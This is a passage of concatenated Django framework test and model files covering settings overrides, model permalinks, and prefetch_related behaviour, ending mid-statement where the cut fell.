@override_settings(ITEMS=['a', 'c', 'e'], ITEMS_OUTER=[1, 2, 3], TEST='override', TEST_OUTER='outer')
class FullyDecoratedTranTestCase(TransactionTestCase):

    available_apps = []

    def test_override(self):
        self.assertListEqual(settings.ITEMS, ['b', 'c', 'd'])
        self.assertListEqual(settings.ITEMS_OUTER, [1, 2, 3])
        self.assertEqual(settings.TEST, 'override')
        self.assertEqual(settings.TEST_OUTER, 'outer')

    @modify_settings(ITEMS={
        'append': ['e', 'f'],
        'prepend': ['a'],
        'remove': ['d', 'c'],
    })
    def test_method_list_override(self):
        self.assertListEqual(settings.ITEMS, ['a', 'b', 'e', 'f'])
        self.assertListEqual(settings.ITEMS_OUTER, [1, 2, 3])

    @modify_settings(ITEMS={
        'append': ['b'],
        'prepend': ['d'],
        'remove': ['a', 'c', 'e'],
    })
    def test_method_list_override_no_ops(self):
        self.assertListEqual(settings.ITEMS, ['b', 'd'])

    @modify_settings(ITEMS={
        'append': 'e',
        'prepend': 'a',
        'remove': 'c',
    })
    def test_method_list_override_strings(self):
        self.assertListEqual(settings.ITEMS, ['a', 'b', 'd', 'e'])

    @modify_settings(ITEMS={'remove': ['b', 'd']})
    @modify_settings(ITEMS={'append': ['b'], 'prepend': ['d']})
    def test_method_list_override_nested_order(self):
        self.assertListEqual(settings.ITEMS, ['d', 'c', 'b'])

    @override_settings(TEST='override2')
    def test_method_override(self):
        self.assertEqual(settings.TEST, 'override2')
        self.assertEqual(settings.TEST_OUTER, 'outer')

    def test_decorated_testcase_name(self):
        self.assertEqual(FullyDecoratedTranTestCase.__name__, 'FullyDecoratedTranTestCase')

    def test_decorated_testcase_module(self):
        self.assertEqual(FullyDecoratedTranTestCase.__module__, __name__)


@modify_settings(ITEMS={
    'prepend': ['b'],
    'append': ['d'],
    'remove': ['a', 'e']
})
@override_settings(ITEMS=['a', 'c', 'e'], TEST='override')
class FullyDecoratedTestCase(TestCase):

    def test_override(self):
        self.assertListEqual(settings.ITEMS, ['b', 'c', 'd'])
        self.assertEqual(settings.TEST, 'override')

    @modify_settings(ITEMS={
        'append': 'e',
        'prepend': 'a',
        'remove': 'c',
    })
    @override_settings(TEST='override2')
    def test_method_override(self):
        self.assertListEqual(settings.ITEMS, ['a', 'b', 'd', 'e'])
        self.assertEqual(settings.TEST, 'override2')


class ClassDecoratedTestCaseSuper(TestCase):
    """
    Dummy class for testing max recursion error in child class call to
    super().  Refs #17011.
    """
    def test_max_recursion_error(self):
        pass


@override_settings(TEST='override')
class ClassDecoratedTestCase(ClassDecoratedTestCaseSuper):

    @classmethod
    def setUpClass(cls):
        super(ClassDecoratedTestCase, cls).setUpClass()
        cls.foo = getattr(settings, 'TEST', 'BUG')

    def test_override(self):
        self.assertEqual(settings.TEST, 'override')

    def test_setupclass_override(self):
        """Test that settings are overridden within setUpClass -- refs #21281"""
        self.assertEqual(self.foo, 'override')

    @override_settings(TEST='override2')
    def test_method_override(self):
        self.assertEqual(settings.TEST, 'override2')

    def test_max_recursion_error(self):
        """
        Overriding a method on a super class and then calling that method on
        the super class should not trigger infinite recursion. See #17011.
        """
        super(ClassDecoratedTestCase, self).test_max_recursion_error()


@modify_settings(ITEMS={'append': 'mother'})
@override_settings(ITEMS=['father'], TEST='override-parent')
class ParentDecoratedTestCase(TestCase):
    pass


@modify_settings(ITEMS={'append': ['child']})
@override_settings(TEST='override-child')
class ChildDecoratedTestCase(ParentDecoratedTestCase):
    def test_override_settings_inheritance(self):
        self.assertEqual(settings.ITEMS, ['father', 'mother', 'child'])
        self.assertEqual(settings.TEST, 'override-child')


class SettingsTests(SimpleTestCase):
    def setUp(self):
        self.testvalue = None
        signals.setting_changed.connect(self.signal_callback)

    def tearDown(self):
        signals.setting_changed.disconnect(self.signal_callback)

    def signal_callback(self, sender, setting, value, **kwargs):
        if setting == 'TEST':
            self.testvalue = value

    def test_override(self):
        settings.TEST = 'test'
        self.assertEqual('test', settings.TEST)
        with self.settings(TEST='override'):
            self.assertEqual('override', settings.TEST)
        self.assertEqual('test', settings.TEST)
        del settings.TEST

    def test_override_change(self):
        settings.TEST = 'test'
        self.assertEqual('test', settings.TEST)
        with self.settings(TEST='override'):
            self.assertEqual('override', settings.TEST)
            settings.TEST = 'test2'
        self.assertEqual('test', settings.TEST)
        del settings.TEST

    def test_override_doesnt_leak(self):
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')
        with self.settings(TEST='override'):
            self.assertEqual('override', settings.TEST)
            settings.TEST = 'test'
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')

    @override_settings(TEST='override')
    def test_decorator(self):
        self.assertEqual('override', settings.TEST)

    def test_context_manager(self):
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')
        override = override_settings(TEST='override')
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')
        override.enable()
        self.assertEqual('override', settings.TEST)
        override.disable()
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')

    def test_class_decorator(self):
        # SimpleTestCase can be decorated by override_settings, but not ut.TestCase
        class SimpleTestCaseSubclass(SimpleTestCase):
            pass

        class UnittestTestCaseSubclass(unittest.TestCase):
            pass

        decorated = override_settings(TEST='override')(SimpleTestCaseSubclass)
        self.assertIsInstance(decorated, type)
        self.assertTrue(issubclass(decorated, SimpleTestCase))

        with self.assertRaisesMessage(Exception, "Only subclasses of Django SimpleTestCase"):
            decorated = override_settings(TEST='override')(UnittestTestCaseSubclass)

    def test_signal_callback_context_manager(self):
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')
        with self.settings(TEST='override'):
            self.assertEqual(self.testvalue, 'override')
        self.assertIsNone(self.testvalue)

    @override_settings(TEST='override')
    def test_signal_callback_decorator(self):
        self.assertEqual(self.testvalue, 'override')

    #
    # Regression tests for #10130: deleting settings.
    #

    def test_settings_delete(self):
        settings.TEST = 'test'
        self.assertEqual('test', settings.TEST)
        del settings.TEST
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')

    def test_settings_delete_wrapped(self):
        with self.assertRaises(TypeError):
            delattr(settings, '_wrapped')

    def test_override_settings_delete(self):
        """
        Allow deletion of a setting in an overridden settings set (#18824)
        """
        previous_i18n = settings.USE_I18N
        previous_l10n = settings.USE_L10N
        with self.settings(USE_I18N=False):
            del settings.USE_I18N
            with self.assertRaises(AttributeError):
                getattr(settings, 'USE_I18N')
            # Should also work for a non-overridden setting
            del settings.USE_L10N
            with self.assertRaises(AttributeError):
                getattr(settings, 'USE_L10N')
            self.assertNotIn('USE_I18N', dir(settings))
            self.assertNotIn('USE_L10N', dir(settings))
        self.assertEqual(settings.USE_I18N, previous_i18n)
        self.assertEqual(settings.USE_L10N, previous_l10n)

    def test_override_settings_nested(self):
        """
        Test that override_settings uses the actual _wrapped attribute at
        runtime, not when it was instantiated.
        """

        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST2')

        inner = override_settings(TEST2='override')
        with override_settings(TEST='override'):
            self.assertEqual('override', settings.TEST)
            with inner:
                self.assertEqual('override', settings.TEST)
                self.assertEqual('override', settings.TEST2)
            # inner's __exit__ should have restored the settings of the outer
            # context manager, not those when the class was instantiated
            self.assertEqual('override', settings.TEST)
            with self.assertRaises(AttributeError):
                getattr(settings, 'TEST2')

        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST')
        with self.assertRaises(AttributeError):
            getattr(settings, 'TEST2')


class TestComplexSettingOverride(SimpleTestCase):
    def setUp(self):
        self.old_warn_override_settings = signals.COMPLEX_OVERRIDE_SETTINGS.copy()
        signals.COMPLEX_OVERRIDE_SETTINGS.add('TEST_WARN')

    def tearDown(self):
        signals.COMPLEX_OVERRIDE_SETTINGS = self.old_warn_override_settings
        self.assertNotIn('TEST_WARN', signals.COMPLEX_OVERRIDE_SETTINGS)

    def test_complex_override_warning(self):
        """Regression test for #19031"""
        with warnings.catch_warnings(record=True) as w:
            warnings.simplefilter("always")

            with override_settings(TEST_WARN='override'):
                self.assertEqual(settings.TEST_WARN, 'override')

            self.assertEqual(len(w), 1)
            # File extension may by .py, .pyc, etc. Compare only basename.
            self.assertEqual(os.path.splitext(w[0].filename)[0], os.path.splitext(__file__)[0])
            self.assertEqual(str(w[0].message), 'Overriding setting TEST_WARN can lead to unexpected behavior.')


class TrailingSlashURLTests(SimpleTestCase):
    """
    Tests for the MEDIA_URL and STATIC_URL settings.

    They must end with a slash to ensure there's a deterministic way to build
    paths in templates.
    """
    settings_module = settings

    def setUp(self):
        self._original_media_url = self.settings_module.MEDIA_URL
        self._original_static_url = self.settings_module.STATIC_URL

    def tearDown(self):
        self.settings_module.MEDIA_URL = self._original_media_url
        self.settings_module.STATIC_URL = self._original_static_url

    def test_blank(self):
        """
        The empty string is accepted, even though it doesn't end in a slash.
        """
        self.settings_module.MEDIA_URL = ''
        self.assertEqual('', self.settings_module.MEDIA_URL)

        self.settings_module.STATIC_URL = ''
        self.assertEqual('', self.settings_module.STATIC_URL)

    def test_end_slash(self):
        """
        It works if the value ends in a slash.
        """
        self.settings_module.MEDIA_URL = '/foo/'
        self.assertEqual('/foo/', self.settings_module.MEDIA_URL)

        self.settings_module.MEDIA_URL = 'http://media.foo.com/'
        self.assertEqual('http://media.foo.com/', self.settings_module.MEDIA_URL)

        self.settings_module.STATIC_URL = '/foo/'
        self.assertEqual('/foo/', self.settings_module.STATIC_URL)

        self.settings_module.STATIC_URL = 'http://static.foo.com/'
        self.assertEqual('http://static.foo.com/', self.settings_module.STATIC_URL)

    def test_no_end_slash(self):
        """
        An ImproperlyConfigured exception is raised if the value doesn't end
        in a slash.
        """
        with self.assertRaises(ImproperlyConfigured):
            self.settings_module.MEDIA_URL = '/foo'

        with self.assertRaises(ImproperlyConfigured):
            self.settings_module.MEDIA_URL = 'http://media.foo.com'

        with self.assertRaises(ImproperlyConfigured):
            self.settings_module.STATIC_URL = '/foo'

        with self.assertRaises(ImproperlyConfigured):
            self.settings_module.STATIC_URL = 'http://static.foo.com'

    def test_double_slash(self):
        """
        If the value ends in more than one slash, presume they know what
        they're doing.
        """
        self.settings_module.MEDIA_URL = '/wrong//'
        self.assertEqual('/wrong//', self.settings_module.MEDIA_URL)

        self.settings_module.MEDIA_URL = 'http://media.foo.com/wrong//'
        self.assertEqual('http://media.foo.com/wrong//', self.settings_module.MEDIA_URL)

        self.settings_module.STATIC_URL = '/wrong//'
        self.assertEqual('/wrong//', self.settings_module.STATIC_URL)

        self.settings_module.STATIC_URL = 'http://static.foo.com/wrong//'
        self.assertEqual('http://static.foo.com/wrong//', self.settings_module.STATIC_URL)


class SecureProxySslHeaderTest(SimpleTestCase):
    settings_module = settings

    def setUp(self):
        self._original_setting = self.settings_module.SECURE_PROXY_SSL_HEADER

    def tearDown(self):
        self.settings_module.SECURE_PROXY_SSL_HEADER = self._original_setting

    def test_none(self):
        self.settings_module.SECURE_PROXY_SSL_HEADER = None
        req = HttpRequest()
        self.assertIs(req.is_secure(), False)

    def test_set_without_xheader(self):
        self.settings_module.SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTOCOL', 'https')
        req = HttpRequest()
        self.assertIs(req.is_secure(), False)

    def test_set_with_xheader_wrong(self):
        self.settings_module.SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTOCOL', 'https')
        req = HttpRequest()
        req.META['HTTP_X_FORWARDED_PROTOCOL'] = 'wrongvalue'
        self.assertIs(req.is_secure(), False)

    def test_set_with_xheader_right(self):
        self.settings_module.SECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTOCOL', 'https')
        req = HttpRequest()
        req.META['HTTP_X_FORWARDED_PROTOCOL'] = 'https'
        self.assertIs(req.is_secure(), True)


class IsOverriddenTest(SimpleTestCase):
    def test_configure(self):
        s = LazySettings()
        s.configure(SECRET_KEY='foo')

        self.assertTrue(s.is_overridden('SECRET_KEY'))

    def test_module(self):
        settings_module = ModuleType('fake_settings_module')
        settings_module.SECRET_KEY = 'foo'
        sys.modules['fake_settings_module'] = settings_module
        try:
            s = Settings('fake_settings_module')

            self.assertTrue(s.is_overridden('SECRET_KEY'))
            self.assertFalse(s.is_overridden('ALLOWED_HOSTS'))
        finally:
            del sys.modules['fake_settings_module']

    def test_override(self):
        self.assertFalse(settings.is_overridden('ALLOWED_HOSTS'))
        with override_settings(ALLOWED_HOSTS=[]):
            self.assertTrue(settings.is_overridden('ALLOWED_HOSTS'))

    def test_unevaluated_lazysettings_repr(self):
        lazy_settings = LazySettings()
        expected = '<LazySettings [Unevaluated]>'
        self.assertEqual(repr(lazy_settings), expected)

    def test_evaluated_lazysettings_repr(self):
        lazy_settings = LazySettings()
        module = os.environ.get(ENVIRONMENT_VARIABLE)
        expected = '<LazySettings "%s">' % module
        # Force evaluation of the lazy object.
        lazy_settings.APPEND_SLASH
        self.assertEqual(repr(lazy_settings), expected)

    def test_usersettingsholder_repr(self):
        lazy_settings = LazySettings()
        lazy_settings.configure(APPEND_SLASH=False)
        expected = '<UserSettingsHolder>'
        self.assertEqual(repr(lazy_settings._wrapped), expected)

    def test_settings_repr(self):
        module = os.environ.get(ENVIRONMENT_VARIABLE)
        lazy_settings = Settings(module)
        expected = '<Settings "%s">' % module
        self.assertEqual(repr(lazy_settings), expected)


class TestListSettings(unittest.TestCase):
    """
    Make sure settings that should be lists or tuples throw
    ImproperlyConfigured if they are set to a string instead of a list or tuple.
    """
    list_or_tuple_settings = (
        "INSTALLED_APPS",
        "TEMPLATE_DIRS",
        "LOCALE_PATHS",
    )

    def test_tuple_settings(self):
        settings_module = ModuleType('fake_settings_module')
        settings_module.SECRET_KEY = 'foo'
        for setting in self.list_or_tuple_settings:
            setattr(settings_module, setting, ('non_list_or_tuple_value'))
            sys.modules['fake_settings_module'] = settings_module
            try:
                with self.assertRaises(ImproperlyConfigured):
                    Settings('fake_settings_module')
            finally:
                del sys.modules['fake_settings_module']
                delattr(settings_module, setting)












from django.db import models


def set_attr(name, value):
    def wrapper(function):
        setattr(function, name, value)
        return function
    return wrapper


class Guitarist(models.Model):
    name = models.CharField(max_length=50)
    slug = models.CharField(max_length=50)

    @models.permalink
    def url(self):
        "Returns the URL for this guitarist."
        return ('guitarist_detail', [self.slug])

    @models.permalink
    @set_attr('attribute', 'value')
    def url_with_attribute(self):
        "Returns the URL for this guitarist and holds an attribute"
        return ('guitarist_detail', [self.slug])






from django.http import HttpResponse


def empty_view(request, *args, **kwargs):
    return HttpResponse('')






from django.conf.urls import url

from . import views

urlpatterns = [
    url(r'^guitarists/(\w{1,50})/$', views.empty_view, name='guitarist_detail'),
]












from django.test import SimpleTestCase, override_settings

from .models import Guitarist


@override_settings(ROOT_URLCONF='model_permalink.urls')
class PermalinkTests(SimpleTestCase):

    def test_permalink(self):
        g = Guitarist(name='Adrien Moignard', slug='adrienmoignard')
        self.assertEqual(g.url(), '/guitarists/adrienmoignard/')

    def test_wrapped_docstring(self):
        "Methods using the @permalink decorator retain their docstring."
        g = Guitarist(name='Adrien Moignard', slug='adrienmoignard')
        self.assertEqual(g.url.__doc__, "Returns the URL for this guitarist.")

    def test_wrapped_attribute(self):
        """
        Methods using the @permalink decorator can have attached attributes
        from other decorators
        """
        g = Guitarist(name='Adrien Moignard', slug='adrienmoignard')
        self.assertTrue(hasattr(g.url_with_attribute, 'attribute'))
        self.assertEqual(g.url_with_attribute.attribute, 'value')












from django.apps import apps
from django.test import SimpleTestCase


class NoModelTests(SimpleTestCase):

    def test_no_models(self):
        """Test that it's possible to load an app with no models.py file."""
        app_config = apps.get_app_config('no_models')
        self.assertIsNone(app_config.models_module)






from django.db.models import Prefetch, prefetch_related_objects
from django.test import TestCase

from .models import Author, Book, Reader


class PrefetchRelatedObjectsTests(TestCase):
    """
    Since prefetch_related_objects() is just the inner part of
    prefetch_related(), only do basic tests to ensure its API hasn't changed.
    """
    @classmethod
    def setUpTestData(cls):
        cls.book1 = Book.objects.create(title='Poems')
        cls.book2 = Book.objects.create(title='Jane Eyre')
        cls.book3 = Book.objects.create(title='Wuthering Heights')
        cls.book4 = Book.objects.create(title='Sense and Sensibility')

        cls.author1 = Author.objects.create(name='Charlotte', first_book=cls.book1)
        cls.author2 = Author.objects.create(name='Anne', first_book=cls.book1)
        cls.author3 = Author.objects.create(name='Emily', first_book=cls.book1)
        cls.author4 = Author.objects.create(name='Jane', first_book=cls.book4)

        cls.book1.authors.add(cls.author1, cls.author2, cls.author3)
        cls.book2.authors.add(cls.author1)
        cls.book3.authors.add(cls.author3)
        cls.book4.authors.add(cls.author4)

        cls.reader1 = Reader.objects.create(name='Amy')
        cls.reader2 = Reader.objects.create(name='Belinda')

        cls.reader1.books_read.add(cls.book1, cls.book4)
        cls.reader2.books_read.add(cls.book2, cls.book4)

    def test_unknown(self):
        book1 = Book.objects.get(id=self.book1.id)
        with self.assertRaises(AttributeError):
            prefetch_related_objects([book1], 'unknown_attribute')

    def test_m2m_forward(self):
        book1 = Book.objects.get(id=self.book1.id)
        with self.assertNumQueries(1):
            prefetch_related_objects([book1], 'authors')

        with self.assertNumQueries(0):
            self.assertEqual(set(book1.authors.all()), {self.author1, self.author2, self.author3})

    def test_m2m_reverse(self):
        author1 = Author.objects.get(id=self.author1.id)
        with self.assertNumQueries(1):
            prefetch_related_objects([author1], 'books')

        with self.assertNumQueries(0):
            self.assertEqual(set(author1.books.all()), {self.book1, self.book2})

    def test_foreignkey_forward(self):
        authors = list(Author.objects.all())
        with self.assertNumQueries(1):
            prefetch_related_objects(authors, 'first_book')

        with self.assertNumQueries(0):
            [author.first_book for author in authors]

    def test_foreignkey_reverse(self):
        books = list(Book.objects.all())
        with self.assertNumQueries(1):
            prefetch_related_objects(books, 'first_time_authors')

        with self.assertNumQueries(0):
            [list(book.first_time_authors.all()) for book in books]

    def test_m2m_then_m2m(self):
        """
        We can follow a m2m and another m2m.
        """
        authors = list(Author.objects.all())
        with self.assertNumQueries(2):
            prefetch_related_objects(authors, 'books__read_by')

        with self.assertNumQueries(0):
            self.assertEqual(
                [
                    [[str(r) for r in b.read_by.all()] for b in a.books.all()]
                    for a in authors
                ],
                [
                    [['Amy'], ['Belinda']],  # Charlotte - Poems, Jane Eyre
                    [['Amy']],               # Anne - Poems
                    [['Amy'], []],           # Emily - Poems, Wuthering Heights
                    [['Amy', 'Belinda']],    # Jane - Sense and Sense
                ]
            )

    def test_prefetch_object(self):
        book1 = Book.objects.get(id=self.book1.id)
        with self.assertNumQueries(1):
            prefetch_related_objects([book1], Prefetch('authors'))

        with self.assertNumQueries(0):
            self.assertEqual(set(book1.authors.all()), {self.author1, self.author2, self.author3})

    def test_prefetch_object_to_attr(self):
        book1 = Book.objects.get(id=self.book1.id)
        with self.assertNumQueries(1):
            prefetch_related_objects([book1], Prefetch('authors', to_attr='the_authors'))

        with self.assertNumQueries(0):
            self.assertEqual(set(book1.the_authors), {self.author1, self.author2, self.author3})

    def test_prefetch_queryset(self):
        book1 = Book.objects.get(id=self.book1.id)
        with self.assertNumQueries(1):
            prefetch_related_objects(
                [book1],
                Prefetch('authors', queryset=Author.objects.filter(id__in=[self.author1.id, self.author2.id]))
            )

        with self.assertNumQueries(0):
            self.assertEqual(set(book1.authors.all()), {self.author1, self.author2})






import uuid

from django.contrib.contenttypes.fields import (
    GenericForeignKey, GenericRelation,
)
from django.contrib.contenttypes.models import ContentType
from django.db import models
from django.utils.encoding import python_2_unicode_compatible
from django.utils.functional import cached_property


# Basic tests

@python_2_unicode_compatible
class Author(models.Model):
    name = models.CharField(max_length=50, unique=True)
    first_book = models.ForeignKey('Book', models.CASCADE, related_name='first_time_authors')
    favorite_authors = models.ManyToManyField(
        'self', through='FavoriteAuthors', symmetrical=False, related_name='favors_me')

    def __str__(self):
        return self.name

    class Meta:
        ordering = ['id']


class AuthorWithAge(Author):
    author = models.OneToOneField(Author, models.CASCADE, parent_link=True)
    age = models.IntegerField()


class FavoriteAuthors(models.Model):
    author = models.ForeignKey(Author, models.CASCADE, to_field='name', related_name='i_like')
    likes_author = models.ForeignKey(Author, models.CASCADE, to_field='name', related_name='likes_me')

    class Meta:
        ordering = ['id']


@python_2_unicode_compatible
class AuthorAddress(models.Model):
    author = models.ForeignKey(Author, models.CASCADE, to_field='name', related_name='addresses')
    address = models.TextField()

    class Meta:
        ordering = ['id']

    def __str__(self):
        return self.address


@python_2_unicode_compatible
class Book(models.Model):
    title = models.CharField(max_length=255)
    authors = models.ManyToManyField(Author, related_name='books')

    def __str__(self):
        return self.title

    class Meta:
        ordering = ['id']


class BookWithYear(Book):
    book = models.OneToOneField(Book, models.CASCADE, parent_link=True)
    published_year = models.IntegerField()
    aged_authors = models.ManyToManyField(
        AuthorWithAge, related_name='books_with_year')


class Bio(models.Model):
    author = models.OneToOneField(Author, models.CASCADE)
    books = models.ManyToManyField(Book, blank=True)


@python_2_unicode_compatible
class Reader(models.Model):
    name = models.CharField(max_length=50)
    books_read = models.ManyToManyField(Book, related_name='read_by')

    def __str__(self):
        return self.name

    class Meta:
        ordering = ['id']


class BookReview(models.Model):
    book = models.ForeignKey(BookWithYear, models.CASCADE)
    notes = models.TextField(null=True, blank=True)


# Models for default manager tests

class Qualification(models.Model):
    name = models.CharField(max_length=10)

    class Meta:
        ordering = ['id']


class TeacherManager(models.Manager):
    def get_queryset(self):
        return super(TeacherManager, self).get_queryset().prefetch_related('qualifications')


@python_2_unicode_compatible
class Teacher(models.Model):
    name = models.CharField(max_length=50)
    qualifications = models.ManyToManyField(Qualification)

    objects = TeacherManager()

    def __str__(self):
        return "%s (%s)" % (self.name, ", ".join(q.name for q in self.qualifications.all()))

    class Meta:
        ordering = ['id']


class Department(models.Model):
    name = models.CharField(max_length=50)
    teachers = models.ManyToManyField(Teacher)

    class Meta:
        ordering = ['id']


# GenericRelation/GenericForeignKey tests

@python_2_unicode_compatible
class TaggedItem(models.Model):
    tag = models.SlugField()
    content_type = models.ForeignKey(
        ContentType,
        models.CASCADE,
        related_name="taggeditem_set2",
    )
    object_id = models.PositiveIntegerField()
    content_object = GenericForeignKey('content_type', 'object_id')
    created_by_ct = models.ForeignKey(
        ContentType,
        models.SET_NULL,
        null=True,
        related_name='taggeditem_set3',
    )
    created_by_fkey = models.PositiveIntegerField(null=True)
    created_by = GenericForeignKey('created_by_ct', 'created_by_fkey',)
    favorite_ct = models.ForeignKey(
        ContentType,
        models.SET_NULL,
        null=True,
        related_name='taggeditem_set4',
    )
    favorite_fkey = models.CharField(max_length=64, null=True)
    favorite = GenericForeignKey('favorite_ct', 'favorite_fkey')

    def __str__(self):
        return self.tag

    class Meta:
        ordering = ['id']


class Bookmark(models.Model):
    url = models.URLField()
    tags = GenericRelation(TaggedItem, related_query_name='bookmarks')
    favorite_tags = GenericRelation(TaggedItem,
                                    content_type_field='favorite_ct',
                                    object_id_field='favorite_fkey',
                                    related_query_name='favorite_bookmarks')

    class Meta:
        ordering = ['id']


class Comment(models.Model):
    comment = models.TextField()

    # Content-object field
    content_type = models.ForeignKey(ContentType, models.CASCADE)
    object_pk = models.TextField()
    content_object = GenericForeignKey(ct_field="content_type", fk_field="object_pk")

    class Meta:
        ordering = ['id']


# Models for lookup ordering tests

class House(models.Model):
    name = models.CharField(max_length=50)
    address = models.CharField(max_length=255)
    owner = models.ForeignKey('Person', models.SET_NULL, null=True)
    main_room = models.OneToOneField('Room', models.SET_NULL, related_name='main_room_of', null=True)

    class Meta:
        ordering = ['id']


class Room(models.Model):
    name = models.CharField(max_length=50)
    house = models.ForeignKey(House, models.CASCADE, related_name='rooms')

    class Meta:
        ordering = ['id']


class Person(models.Model):
    name = models.CharField(max_length=50)
    houses = models.ManyToManyField(House, related_name='occupants')

    @property
    def primary_house(self):
        # Assume business logic forces every person to have at least one house.
        return sorted(self.houses.all(), key=lambda house: -house.rooms.count())[0]

    @property
    def all_houses(self):
        return list(self.houses.all())

    @cached_property
    def cached_all_houses(self):
        return self.all_houses

    class Meta:
        ordering = ['id']


# Models for nullable FK tests

@python_2_unicode_compatible
class Employee(models.Model):
    name = models.CharField(max_length=50)
    boss = models.ForeignKey('self', models.SET_NULL, null=True, related_name='serfs')

    def __str__(self):
        return self.name

    class Meta:
        ordering = ['id']


# Ticket #19607

@python_2_unicode_compatible
class LessonEntry(models.Model):
    name1 = models.CharField(max_length=200)
    name2 = models.CharField(max_length=200)

    def __str__(self):
        return "%s %s" % (self.name1, self.name2)


@python_2_unicode_compatible
class WordEntry(models.Model):
    lesson_entry = models.ForeignKey(LessonEntry, models.CASCADE)
    name = models.CharField(max_length=200)

    def __str__(self):
        return "%s (%s)" % (self.name, self.id)


# Ticket #21410: Regression when related_name="+"

@python_2_unicode_compatible
class Author2(models.Model):
    name = models.CharField(max_length=50, unique=True)
    first_book = models.ForeignKey('Book', models.CASCADE, related_name='first_time_authors+')
    favorite_books = models.ManyToManyField('Book', related_name='+')

    def __str__(self):
        return self.name

    class Meta:
        ordering = ['id']


# Models for many-to-many with UUID pk test:

class Pet(models.Model):
    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    name = models.CharField(max_length=20)
    people = models.ManyToManyField(Person, related_name='pets')


class Flea(models.Model):
    id = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    current_room = models.ForeignKey(Room, models.SET_NULL, related_name='fleas', null=True)
    pets_visited = models.ManyToManyField(Pet, related_name='fleas_hosted')
    people_visited = models.ManyToManyField(Person, related_name='fleas_hosted')












from __future__ import unicode_literals

import warnings

from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import ObjectDoesNotExist
from django.db import connection
from django.db.models import Prefetch, QuerySet
from django.db.models.query import get_prefetcher
from django.test import TestCase, override_settings
from django.test.utils import CaptureQueriesContext
from django.utils import six
from django.utils.encoding import force_text

from .models import (
    Author, Author2, AuthorAddress, AuthorWithAge, Bio, Book, Bookmark,
    BookReview, BookWithYear, Comment, Department, Employee, FavoriteAuthors,
    House, LessonEntry, Person, Qualification, Reader, Room, TaggedItem,
    Teacher, WordEntry,
)


class PrefetchRelatedTests(TestCase):
    @classmethod
    def setUpTestData(cls):
        cls.book1 = Book.objects.create(title='Poems')
        cls.book2 = Book.objects.create(title='Jane Eyre')
        cls.book3 = Book.objects.create(title='Wuthering Heights')
        cls.book4 = Book.objects.create(title='Sense and Sensibility')

        cls.author1 = Author.objects.create(name='Charlotte', first_book=cls.book1)
        cls.author2 = Author.objects.create(name='Anne', first_book=cls.book1)
        cls.author3 = Author.objects.create(name='Emily', first_book=cls.book1)
        cls.author4 = Author.objects.create(name='Jane', first_book=cls.book4)

        cls.book1.authors.add(cls.author1, cls.author2, cls.author3)
        cls.book2.authors.add(cls.author1)
        cls.book3.authors.add(cls.author3)
        cls.book4.authors.add(cls.author4)

        cls.reader1 = Reader.objects.create(name='Amy')
        cls.reader2 = Reader.objects.create(name='Belinda')

        cls.reader1.books_read.add(cls.book1, cls.book4)
        cls.reader2.books_read.add(cls.book2, cls.book4)

    def test_m2m_forward(self):
        with self.assertNumQueries(2):
            lists = [list(b.authors.all()) for b in Book.objects.prefetch_related('authors')]

        normal_lists = [list(b.authors.all()) for b in Book.objects.all()]
        self.assertEqual(lists, normal_lists)

    def test_m2m_reverse(self):
        with self.assertNumQueries(2):
            lists = [list(a.books.all()) for a in Author.objects.prefetch_related('books')]

        normal_lists = [list(a.books.all()) for a in Author.objects.all()]
        self.assertEqual(lists, normal_lists)

    def test_foreignkey_forward(self):
        with self.assertNumQueries(2):
            books = [a.first_book for a in Author.objects.prefetch_related('first_book')]

        normal_books = [a.first_book for a in Author.objects.all()]
        self.assertEqual(books, normal_books)

    def test_foreignkey_reverse(self):
        with self.assertNumQueries(2):
            [list(b.first_time_authors.all())
             for b in Book.objects.prefetch_related('first_time_authors')]

        self.assertQuerysetEqual(self.book2.authors.all(), ["<Author: Charlotte>"])

    def test_onetoone_reverse_no_match(self):
        # Regression for #17439
        with self.assertNumQueries(2):
            book = Book.objects.prefetch_related('bookwithyear').all()[0]
        with self.assertNumQueries(0):
            with self.assertRaises(BookWithYear.DoesNotExist):
                book.bookwithyear

    def test_survives_clone(self):
        with self.assertNumQueries(2):
            [list(b.first_time_authors.all())
             for b in Book.objects.prefetch_related('first_time_authors').exclude(id=1000)]

    def test_len(self):
        with self.assertNumQueries(2):
            qs = Book.objects.prefetch_related('first_time_authors')
            len(qs)
            [list(b.first_time_authors.all()) for b in qs]

    def test_bool(self):
        with self.assertNumQueries(2):
            qs = Book.objects.prefetch_related('first_time_authors')
            bool(qs)
            [list(b.first_time_authors.all()) for b in qs]

    def test_count(self):
        with self.assertNumQueries(2):
            qs = Book.objects.prefetch_related('first_time_authors')
            [b.first_time_authors.count() for b in qs]

    def test_exists(self):
        with self.assertNumQueries(2):
            qs = Book.objects.prefetch_related('first_time_authors')
            [b.first_time_authors.exists() for b in qs]

    def test_in_and_prefetch_related(self):
        """
        Regression test for #20242 - QuerySet "in" didn't work the first time
        when using prefetch_related. This was fixed by the removal of chunked
        reads from QuerySet iteration in
        70679243d1786e03557c28929f9762a119e3ac14.
        """
        qs = Book.objects.prefetch_related('first_time_authors')
        self.assertIn(qs[0], qs)

    def test_clear(self):
        """
        Test that we can clear the behavior by calling prefetch_related()
        """
        with self.assertNumQueries(5):
            with_prefetch = Author.objects.prefetch_related('books')
            without_prefetch = with_prefetch.prefetch_related(None)
            [list(a.books.all()) for a in without_prefetch]

    def test_m2m_then_m2m(self):
        """
        Test we can follow a m2m and another m2m
        """
        with self.assertNumQueries(3):
            qs = Author.objects.prefetch_related('books__read_by')
            lists = [[[six.text_type(r) for r in b.read_by.all()]
                      for b in a.books.all()]
                     for a in qs]
            self.assertEqual(lists, [
